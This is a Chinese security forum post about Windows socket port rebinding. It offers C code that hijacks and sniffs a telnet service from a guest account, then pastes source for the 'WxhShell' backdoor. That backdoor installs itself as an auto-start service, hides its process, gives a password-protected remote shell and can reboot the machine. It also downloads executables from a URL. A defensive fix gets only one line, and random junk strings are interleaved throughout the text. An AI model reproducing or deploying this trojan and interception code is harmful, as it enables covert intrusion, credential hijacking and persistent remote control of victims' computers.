社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9615阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: } 3 RqaIY}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tld %NE  
}4  5|  
  saddr.sin_family = AF_INET; lLyMm8E%pZ  
r4A%`sk@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O0';j!?X  
BTgL:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Cddw\|'3  
>mi%L3Pk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wp$C J09f*  
lMFj"x\  
  这意味着什么?意味着可以进行如下的攻击: ??ah  
"JKrbgN@;L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T&X*[kP  
9bq#&~+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !+=jD3HTJ  
?4(uwX p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a[[u>oHyd  
<eI7xifD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f-tjMa /_  
%'%r.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h 5t,5e}  
<Y9((QSM4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )pW(Cp  
03iO4yOu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8'@pX<  
W2qW`Ujo{  
  #include =>n:\_*M  
  #include ?)'j;1_=E3  
  #include #ZeZs31  
  #include    Uw)?u$+ P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o5 @ l!NQ  
  int main() Q!z g=_z-  
  { |wQ|h$|  
  WORD wVersionRequested; 7Ha +@  
  DWORD ret; `BdZqXKG  
  WSADATA wsaData; mc~d4<$`!  
  BOOL val; 218ZUg -a  
  SOCKADDR_IN saddr; yf2U-s  
  SOCKADDR_IN scaddr; ]ta]OK{s"  
  int err; u&9|9+"N  
  SOCKET s; HhH[pE  
  SOCKET sc; ;vc$;54K  
  int caddsize; ,A h QA  
  HANDLE mt; K%1'zSAyK  
  DWORD tid;   2_ <  
  wVersionRequested = MAKEWORD( 2, 2 ); 90Jxn'>^  
  err = WSAStartup( wVersionRequested, &wsaData ); `7LN?- T  
  if ( err != 0 ) { 4?jXbC k~x  
  printf("error!WSAStartup failed!\n"); r8pTtf#Q  
  return -1; ?9i 7w1`  
  } qXn %c"  
  saddr.sin_family = AF_INET; M%/ML=eLi  
   m%X~EwFc.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v1 d]  
%19TJn%J$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,3qi]fFLMe  
  saddr.sin_port = htons(23); B!jT@b{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +D& W!m  
  { s,\!@[N  
  printf("error!socket failed!\n"); K)`, |q* \  
  return -1; ;sT7c1X^!  
  } N^Xb_jg;J  
  val = TRUE; G sm5L<rx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V)^nVD)e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;Bd0 =C  
  { r%}wPN(?D  
  printf("error!setsockopt failed!\n"); sV@kQ:  
  return -1; q%]0%S?  
  } ,/BBG\mJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d/k&f5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7N+No.vR.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uZ&,tH/  
Ia*eb%HG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8B"jvrs  
  { g|a2z_R  
  ret=GetLastError(); ~ T|?!zML  
  printf("error!bind failed!\n"); JM0'V0z  
  return -1; -4m UGh1dy  
  } ff**)Xdh  
  listen(s,2); l 'fUa  
  while(1) S^]i  
  { Z,.*!S=?h  
  caddsize = sizeof(scaddr); Vf`n>  
  //接受连接请求 %u-l6<w# R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #*:y2W%H  
  if(sc!=INVALID_SOCKET) ]d&6 ?7 !>  
  { w&8gA[y*u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {n2mh%I  
  if(mt==NULL) ~M6Q8Y9  
  { ~Y<x-)R  
  printf("Thread Creat Failed!\n"); $cHA_$ `  
  break; 2_6x2Ia4  
  } MM"{ehd{^a  
  } a.L ?J  
  CloseHandle(mt); 2VyLt=mdh  
  } f*04=R?w7>  
  closesocket(s); UxzZr%>s  
  WSACleanup(); oIdMDp^$  
  return 0; 1tHTjEG4^3  
  }   8QV+DDZx  
  DWORD WINAPI ClientThread(LPVOID lpParam) RcitW;{|Kg  
  { ;]3Tuq  
  SOCKET ss = (SOCKET)lpParam; KGS=(z  
  SOCKET sc; /m%i"kki  
  unsigned char buf[4096]; kep.+t[  
  SOCKADDR_IN saddr; <\|f;7/  
  long num; Z#IRNFj  
  DWORD val; ,~w)~fMb8  
  DWORD ret; x3xBl_t  
  //如果是隐藏端口应用的话,可以在此处加一些判断  s de|t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9]r6V   
  saddr.sin_family = AF_INET; ymT&[+V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &ok2Xw  
  saddr.sin_port = htons(23); LGGC=;{}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :PuJF`k  
  { @5K/z<p%  
  printf("error!socket failed!\n"); /PN[g~3  
  return -1; UbE*x2N  
  } nyD(G=Q5  
  val = 100; BY.' 0,H=k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #lRkp.e  
  { MQ9 9fD$  
  ret = GetLastError(); $rD&rsx6  
  return -1; 7 [N1Vr(1  
  } Zmw'.hL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +FRXTku(  
  { pPem;i^~  
  ret = GetLastError(); _"6{Rb53v=  
  return -1; D|} y{~  
  } by,"Orpwq;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S-Mn  
  {  k)o D  
  printf("error!socket connect failed!\n"); m!L&_ Z|j  
  closesocket(sc); %?1k}(qUeY  
  closesocket(ss); Jf{6'Ub  
  return -1; rwGY)9 |  
  } ,d'x]&a  
  while(1) 7Rqjf6kX`O  
  { 3yn>9qt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N1`/~Gi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H]K(`)y}4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q"n|<!DN  
  num = recv(ss,buf,4096,0); k;/U6,LQ*  
  if(num>0) @JVax-N  
  send(sc,buf,num,0); ZNNgi@6>  
  else if(num==0) ,r!_4|\  
  break; |pqc(B u  
  num = recv(sc,buf,4096,0); *U|K~dl]K  
  if(num>0) Elw fqfO  
  send(ss,buf,num,0); PMC5qQ%x  
  else if(num==0) t$m~O?I  
  break; 6Ty;m>j  
  } 'M+iw:R__  
  closesocket(ss); 2&7:JM~#  
  closesocket(sc); {Hg.ctam  
  return 0 ; i_8v >F  
  } Q{1Q w'+@  
N K.]yw'  
\7o&'zEw  
========================================================== 9}LcJ  
P0,@#M&  
下边附上一个代码,,WXhSHELL Lq<#  
Ib3n%AG  
========================================================== BU],,t\  
T9N][5\  
#include "stdafx.h" yXyL,R  
5jAiqJq~y:  
#include <stdio.h> [S;ceORx  
#include <string.h> w ;+x g  
#include <windows.h> } wZ9#Ll  
#include <winsock2.h> I(!i"b9  
#include <winsvc.h> 5nC#<EE  
#include <urlmon.h> |Xz-rgkQ  
([\mnL<FC  
#pragma comment (lib, "Ws2_32.lib") w@,Yj#_9cx  
#pragma comment (lib, "urlmon.lib") ;cKN5#7  
o6L\39v_  
#define MAX_USER   100 // 最大客户端连接数 hq[;QF:B  
#define BUF_SOCK   200 // sock buffer Bc{j0Su  
#define KEY_BUFF   255 // 输入 buffer sI>I  
&f48MtE  
#define REBOOT     0   // 重启 KCEBJ{jM  
#define SHUTDOWN   1   // 关机 s?r:McF`  
W !TnS/O_1  
#define DEF_PORT   5000 // 监听端口 9n\:grW  
=Ts2a"n  
#define REG_LEN     16   // 注册表键长度 8[@aX;I  
#define SVC_LEN     80   // NT服务名长度 t+7|/GLs2  
5DB4vh  
// 从dll定义API &/)2P#u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >G `Uc&=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZYf0FC=-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?}p~8{ '  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .yK~FzLs  
84(NylZ  
// wxhshell配置信息 `wIMu$i  
struct WSCFG { W%Jw\ z=  
  int ws_port;         // 监听端口 ]34fG3D|  
  char ws_passstr[REG_LEN]; // 口令 kF{'?R5 w  
  int ws_autoins;       // 安装标记, 1=yes 0=no I_ O8 9Sgn  
  char ws_regname[REG_LEN]; // 注册表键名 ^\o3V<  
  char ws_svcname[REG_LEN]; // 服务名 U~h f,Oxi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ppL*#/jYt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r2dU>U*:4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %a\!|/;6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k2]fUP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]k0Pe;<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YO&=f d*  
i3 ?cL4  
}; _"nzo4e0  
3(?V!y{@  
// default Wxhshell configuration CYkU-  
struct WSCFG wscfg={DEF_PORT, B8J_^kd  
    "xuhuanlingzhe", PD,s,A  
    1, `X;'*E]e  
    "Wxhshell", Vz4 /u|gt  
    "Wxhshell", ,v^A;,q  
            "WxhShell Service", ldFK3+V  
    "Wrsky Windows CmdShell Service", 5pC+*n.  
    "Please Input Your Password: ", zoh%^8? o  
  1, w~+C.4=7  
  "http://www.wrsky.com/wxhshell.exe", /?(\6Z_A  
  "Wxhshell.exe" 47<fg&T  
    }; tNk.|}  
GhlbYa  
// 消息定义模块 0Ncx':]5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^~dBO %M^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S=f:-?N|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {S l#z }@s  
char *msg_ws_ext="\n\rExit."; w^BF.Nu  
char *msg_ws_end="\n\rQuit."; ML:Zm~A1U  
char *msg_ws_boot="\n\rReboot..."; Ufw_GYxan  
char *msg_ws_poff="\n\rShutdown..."; kh7RQbNY<I  
char *msg_ws_down="\n\rSave to "; ([g[\c,H  
kJP` C\4}f  
char *msg_ws_err="\n\rErr!"; A[7\!bq5  
char *msg_ws_ok="\n\rOK!"; p"'knZ G  
&|]GTN`E  
char ExeFile[MAX_PATH]; 8D]&wBR:  
int nUser = 0; ab-z 7g  
HANDLE handles[MAX_USER]; `#g62wb,HY  
int OsIsNt; \}Hi\k+h':  
r$Gz  
SERVICE_STATUS       serviceStatus; Ka4KsJN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .<fn+]  
K$1(HbL  
// 函数声明 @XJzM]*w&  
int Install(void); 0pfgE=9  
int Uninstall(void); I-glf?F)  
int DownloadFile(char *sURL, SOCKET wsh); x^sSAI(  
int Boot(int flag); l.>3gjr  
void HideProc(void); *(+*tj cWa  
int GetOsVer(void); v?Ds|  
int Wxhshell(SOCKET wsl); UR{OrNg*  
void TalkWithClient(void *cs); s@$SM,tnn  
int CmdShell(SOCKET sock); 6x*$/1'M3;  
int StartFromService(void); 59R%g .2Y  
int StartWxhshell(LPSTR lpCmdLine); >Tf <8r,  
Hoj'zY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +hZ{/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ByU&fx2Z  
XJSI/jpa@  
// 数据结构和表定义 u-/5&Endb  
SERVICE_TABLE_ENTRY DispatchTable[] = H6.  
{ Vb57B.I  
{wscfg.ws_svcname, NTServiceMain}, ow<z @^ 3'  
{NULL, NULL} vB?(|  
}; v?@=WG  
Zws[C  
// 自我安装 .wpp)M.w;H  
int Install(void) ;t xW\iy%Z  
{ y$,j'B:;4m  
  char svExeFile[MAX_PATH]; "AuU5G 9'I  
  HKEY key; ~@ H9h<T  
  strcpy(svExeFile,ExeFile); Y2!P!u+Q  
HKXtS>7d  
// 如果是win9x系统,修改注册表设为自启动 Z@ dS,M*  
if(!OsIsNt) { hY(q@_s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B]nu \!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^[=1J  
  RegCloseKey(key); >gT QD\k:D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j>I.d+   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LLV1W0VO=P  
  RegCloseKey(key); yhsbso,5 a  
  return 0; <)]j;Tl  
    } (?vKe5  
  } Z~{0x#?4%  
} 4#Rq}/h  
else { ETQL,t9m  
cT.8&EEW  
// 如果是NT以上系统,安装为系统服务 )e?6 Ncy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6j6P&[  
if (schSCManager!=0) X[E!q$ag  
{ rvUJ K,oE  
  SC_HANDLE schService = CreateService &0Bs?oq_  
  ( )VM'^sV?  
  schSCManager, ]vQU(@+I  
  wscfg.ws_svcname, /ReOf<%B  
  wscfg.ws_svcdisp, ( L 8V)1N  
  SERVICE_ALL_ACCESS, ] <y3;T\~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3d;w\#? L;  
  SERVICE_AUTO_START, 1,Uf-i  
  SERVICE_ERROR_NORMAL, C'&t@@:  
  svExeFile, _08y; _S  
  NULL, 5M= S7B3=  
  NULL, &eIwlynm  
  NULL, )J(@e4;Rv  
  NULL, =vD}O@tN  
  NULL $.Qu55=z<  
  ); 3;er.SFu{  
  if (schService!=0) +rOfQ'lQ  
  { Pm=i(TBS/  
  CloseServiceHandle(schService); eFz!`a^dX  
  CloseServiceHandle(schSCManager); 52v@zDY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [E:-$R  
  strcat(svExeFile,wscfg.ws_svcname); ~|R/w%*C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |QO)x En~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qG8-UOUDt  
  RegCloseKey(key); IuOQX}  
  return 0; d$<1Ma}  
    } 'Im&&uSkr  
  } ]%<0V,G q  
  CloseServiceHandle(schSCManager); @D2KDV3'  
} PESJ7/^E  
} Y}hz UKJ  
m'"Ra-  
return 1; FZ@8&T   
} be(p13&od  
|>Wi5h{6X  
// 自我卸载 Y6ORI  
int Uninstall(void) *OR(8;  
{ |7:{vA5  
  HKEY key; q@ %9Y3  
D]zpG  
if(!OsIsNt) { /e50&]2w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q,fk@GI'2  
  RegDeleteValue(key,wscfg.ws_regname); =G-u "QJ6  
  RegCloseKey(key); nTH!_S>b(Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { InfUH8./t  
  RegDeleteValue(key,wscfg.ws_regname); Yvxp(  
  RegCloseKey(key); tbq_ Rg7s  
  return 0; Ku<_N]9  
  } &k0c|q]  
} zE_t(B(Q  
} O/{W:hJjd  
else { ~\~XD+jy"  
G{{Or  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SO}en[()O  
if (schSCManager!=0) m9li%p  
{ Nbm=;FHB`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]qNPOnlp  
  if (schService!=0) 8+U':xR  
  { 90]{4]y;  
  if(DeleteService(schService)!=0) { ealh>Y  
  CloseServiceHandle(schService); [0-zJy|,  
  CloseServiceHandle(schSCManager); gA~faje  
  return 0; cwKOE?!  
  } -nKBSls  
  CloseServiceHandle(schService); J6*B=PX=(  
  } Ykt(%2L  
  CloseServiceHandle(schSCManager); n+;PfQ|  
} Bl8&g]dk  
} ~zA{=|I2  
+H8;*uZ|k,  
return 1; ;WpPdR2  
} &`A2&mZ  
Co^a$K  
// 从指定url下载文件 ICI8xP}a?  
int DownloadFile(char *sURL, SOCKET wsh) * S>,5R0k  
{ Ea2&7  
  HRESULT hr; dL!K''24{  
char seps[]= "/"; *3We5  
char *token; wfc[B;K\  
char *file; n\D3EP<s  
char myURL[MAX_PATH]; D:Y `{{  
char myFILE[MAX_PATH]; /DQcM.3  
OJ\rT.{  
strcpy(myURL,sURL); u#m(Py  
  token=strtok(myURL,seps); BlvNBB1^  
  while(token!=NULL) !WReThq  
  { h8uDs|O9n  
    file=token; u:7=Yy :  
  token=strtok(NULL,seps); _ Oe|ZQ  
  } ;q&\>u:  
UZUG ?UUM  
GetCurrentDirectory(MAX_PATH,myFILE); ds9`AiCW>  
strcat(myFILE, "\\"); 3` aJ"qQE  
strcat(myFILE, file); ,*$/2nB^  
  send(wsh,myFILE,strlen(myFILE),0); Bt^];DjH  
send(wsh,"...",3,0); `[J(a u$z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G ]mX+?  
  if(hr==S_OK) .cX,"2;n  
return 0; \w=7L- 8  
else YJ{d\j  
return 1; wOp# mT  
.DkDMg1US  
} L5*,l`lET  
 8E!I9z  
// 系统电源模块 TAt9+\'  
int Boot(int flag) 8Bnw//_pT  
{ ^D0BGC&&  
  HANDLE hToken; ]Zf@NY  
  TOKEN_PRIVILEGES tkp; .W+ F<]r  
WPM<Qv L  
  if(OsIsNt) { :`ysq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -=]LQHuQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {l7@<xZ??M  
    tkp.PrivilegeCount = 1; I({ 7a i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IBzHXa>75  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |KFWW  
if(flag==REBOOT) { \'L6m1UZ%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4l?98  
  return 0; _u:4y4}  
} ZN ?P4#Z S  
else { s `r  tr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]&ptld;  
  return 0; N2_=^s7  
} VM3H&$d(h  
  } Vy:ER  
  else { NB&u^8b  
if(flag==REBOOT) { | We @p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e-o s0F  
  return 0; 1*x4T%RF$  
} H\3CvFm  
else { m(3bO[u1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t747SZWgB  
  return 0; vN7ihe[C  
} 9CWUhS   
} o+O\VNW  
1*r {%6  
return 1; w I@ lO\  
} [21tT/  
Iq\sf-1E  
// win9x进程隐藏模块 XY| -qd}A  
void HideProc(void) b['TRYc=:  
{ ,9#G/nF  
k- sbZL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {Pg7IYjH  
  if ( hKernel != NULL ) V]PTAhc  
  { M{7EFTy!y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _pNUI {De  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `z3?ET  
    FreeLibrary(hKernel); kx1-.~)p(z  
  } d~| qx  
^D B0C  
return; T"Q4vk,3*J  
} l{Hi5x'H  
.@APxeU  
// 获取操作系统版本 "MXd!  
int GetOsVer(void) ;8g#"p*&  
{ Vb 4Qt#o  
  OSVERSIONINFO winfo; ~pj9_I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); US7hKNm.  
  GetVersionEx(&winfo); (>0d+ KT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -lMC{~h\(S  
  return 1; zPV/{)S  
  else G-n`X":$DT  
  return 0; SQ5*?u\  
} ~|J6M  
W{;!JI7;z  
// 客户端句柄模块 r+0)l:{.  
int Wxhshell(SOCKET wsl) HXdPKS4q  
{ O|j5ulO}&"  
  SOCKET wsh; VUF7-C*  
  struct sockaddr_in client; ^[%~cG  
  DWORD myID; i%*x7zjY{  
/,0t,"&Aqa  
  while(nUser<MAX_USER) e`$v\7K  
{ 3<+l.Wly  
  int nSize=sizeof(client); :M3l#`4Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !gf&l ^)  
  if(wsh==INVALID_SOCKET) return 1; 'KQu z)-  
g\(7z P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GN1cnM>`  
if(handles[nUser]==0) X\%],"9%  
  closesocket(wsh); \Y!Z3CK  
else {.,OPR"\  
  nUser++; :` ~b&Oz)  
  } TTE#7\K~B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5Ij_$a  
i]$d3J3  
  return 0; V7[qf "  
} ]K9 x<@!  
j9u-C/Q\r  
// 关闭 socket m'qMcCE  
void CloseIt(SOCKET wsh) ^m1Rw|  
{ { J0^S  
closesocket(wsh); !)9zH  
nUser--; L8j,?u#  
ExitThread(0); +&?VA!}.  
} iD(K*[;lc  
#Y18z5vo  
// 客户端请求句柄 z|b4w7 I  
void TalkWithClient(void *cs) 6PMu;#  
{ y ph  
p[o2F5 T2  
  SOCKET wsh=(SOCKET)cs; p[uwG31IL`  
  char pwd[SVC_LEN]; E?XA/z !  
  char cmd[KEY_BUFF]; _ _)Z Q  
char chr[1]; C6P6hJm  
int i,j; x9_ Lt4  
H7SqM D*y9  
  while (nUser < MAX_USER) { +Zr03B  
zIo))L  
if(wscfg.ws_passstr) { "Z{^i3 gN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D\`$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W;-Qze\D  
  //ZeroMemory(pwd,KEY_BUFF); u%h<5WNh<  
      i=0; DSjo%Brd-  
  while(i<SVC_LEN) { q$t& *O_  
1QN]9R0`#7  
  // 设置超时 &1[5b8H;+  
  fd_set FdRead; Xl aNR+  
  struct timeval TimeOut; %eah=e  
  FD_ZERO(&FdRead); lT:<ZQyjT  
  FD_SET(wsh,&FdRead); rzTyHK[  
  TimeOut.tv_sec=8; 3?geJlD4  
  TimeOut.tv_usec=0; ?B}>[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u51/B:+   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hNoN=J  
Z0'3.D,l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q@!:<Ra,){  
  pwd=chr[0]; b]Y,& 8}[+  
  if(chr[0]==0xd || chr[0]==0xa) { ji8 Rd"S  
  pwd=0; !.J~`Y'd_  
  break; ;% !?dH6  
  } Q.|2/6hD7[  
  i++; {'ZnxK'  
    } o&AUB` .9~  
A |&EI-In  
  // 如果是非法用户,关闭 socket VC+\RB#:-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _ xC~44  
} -12v/an]L7  
YG8oy!Zl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zV &3l9?U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9e=*jRs]l^  
zR .MXr  
while(1) { 7RLh#D|  
Qpc{7#bp  
  ZeroMemory(cmd,KEY_BUFF); *= 71/&B  
MJC Yi<D  
      // 自动支持客户端 telnet标准   }"8_$VDcz  
  j=0; 2 g8PU$T  
  while(j<KEY_BUFF) { oD8-I^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OiOL 4}5(  
  cmd[j]=chr[0]; %x *f{(8h  
  if(chr[0]==0xa || chr[0]==0xd) { Qm-P& g-  
  cmd[j]=0; _NkN3f5 1L  
  break; Qd./G5CC  
  } hnZHu\EJ  
  j++; q38; w~H  
    } )6j:Mbz   
s_[?(Ip{  
  // 下载文件 S3<v?tqLr  
  if(strstr(cmd,"http://")) { Xm4wuX"e=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mm;)O'XDE  
  if(DownloadFile(cmd,wsh)) S&Sf}uK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXD@M{  
  else 4[ra  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?gtkf[0B|  
  } |l|]Tw  
  else { w-"&;klV  
eXd(R>Mx  
    switch(cmd[0]) { FX^E |  
  xr/ k.Fz  
  // 帮助 G#V22Wca8  
  case '?': { e>^R 8qM?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s`B'vyoaa  
    break; k Mo)4 Xp  
  } dF,FH-  
  // 安装 5^dw!^d  
  case 'i': { C;5}/J^E  
    if(Install()) 1fy{@j(W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UE4#j \  
    else pUr[MnQLf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y'5ck(  
    break; LZVO9e]  
    } GCKl [<9*  
  // 卸载 US|vYd}u+  
  case 'r': { %)D7Dr  
    if(Uninstall()) fUL"fMoU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =gIYa  
    else wj^I1;lO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w(j9[  
    break; = I(s7=Liu  
    } 0- UeFy  
  // 显示 wxhshell 所在路径 P1QJ'eC;T  
  case 'p': { q T].,?  
    char svExeFile[MAX_PATH]; `9+EhP$RS  
    strcpy(svExeFile,"\n\r"); IO#W#wW$M  
      strcat(svExeFile,ExeFile); [UH5D~Yx  
        send(wsh,svExeFile,strlen(svExeFile),0); ^ztf:'l@C  
    break; CA4-&O"  
    } + LwoBn>6  
  // 重启 D$cMPFa2Nt  
  case 'b': { oc(bcU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rd)) H  
